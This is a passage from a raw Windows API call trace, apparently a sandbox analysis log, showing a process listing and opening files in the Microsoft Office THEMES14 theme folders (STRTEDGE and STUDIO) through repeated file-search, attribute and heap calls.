ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.987] GetLastError () returned 0x12 [0062.987] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb05f0) returned 1 [0062.988] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.989] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb04e8) returned 1 [0062.991] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.992] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0062.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.992] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0063.430] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb2490 [0063.431] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb2490, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb2490, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb2490) returned 1 [0063.431] NtClose (Handle=0x184) returned 0x0 [0063.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0063.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0063.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb04e8 [0063.431] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.431] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.431] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb05f0 [0063.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf960 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb0f38 [0063.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.432] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf980 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1040 [0063.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.432] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf9a0 [0063.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1148 [0063.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.433] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf9c0 [0063.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1250 [0063.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.433] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0063.433] GetLastError () returned 0x12 [0063.433] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0063.433] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.433] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.433] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.433] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0063.433] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0063.433] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.433] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0063.433] GetLastError () returned 0x12 [0063.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb04e8) returned 1 [0063.433] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0063.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb05f0) returned 1 [0063.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0063.434] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0063.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.434] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0063.434] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb2490 [0063.434] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb2490, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb2490, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb2490) returned 1 [0063.434] NtClose (Handle=0x190) returned 0x0 [0063.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0063.434] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.434] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb05f0 [0063.435] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0063.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb04e8 [0063.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf9e0 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1358 [0063.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafa00 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1460 [0063.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafa20 [0063.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1568 [0063.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.436] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafa40 [0063.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1670 [0063.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.436] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0063.436] GetLastError () returned 0x12 [0063.436] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.436] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0063.436] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.436] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.436] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, 